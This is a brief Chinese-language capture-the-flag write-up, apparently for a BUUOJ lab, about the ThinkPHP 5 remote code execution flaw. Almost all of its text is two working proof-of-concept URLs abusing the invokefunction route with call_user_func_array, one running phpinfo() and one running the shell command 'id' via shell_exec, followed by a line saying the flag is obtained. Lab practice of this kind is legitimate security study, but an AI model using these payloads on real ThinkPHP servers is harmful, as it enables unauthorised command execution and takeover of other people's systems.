[ThinkPHP]5-Rce

靶场首页

 

 

构造POC 

POC1

该poc会执行phpinfo()

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1  # 将执行phpinfo()

 

 

 POC2

该poc将会执行id命令

http://node3.buuoj.cn:25181/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

 

 爆出flag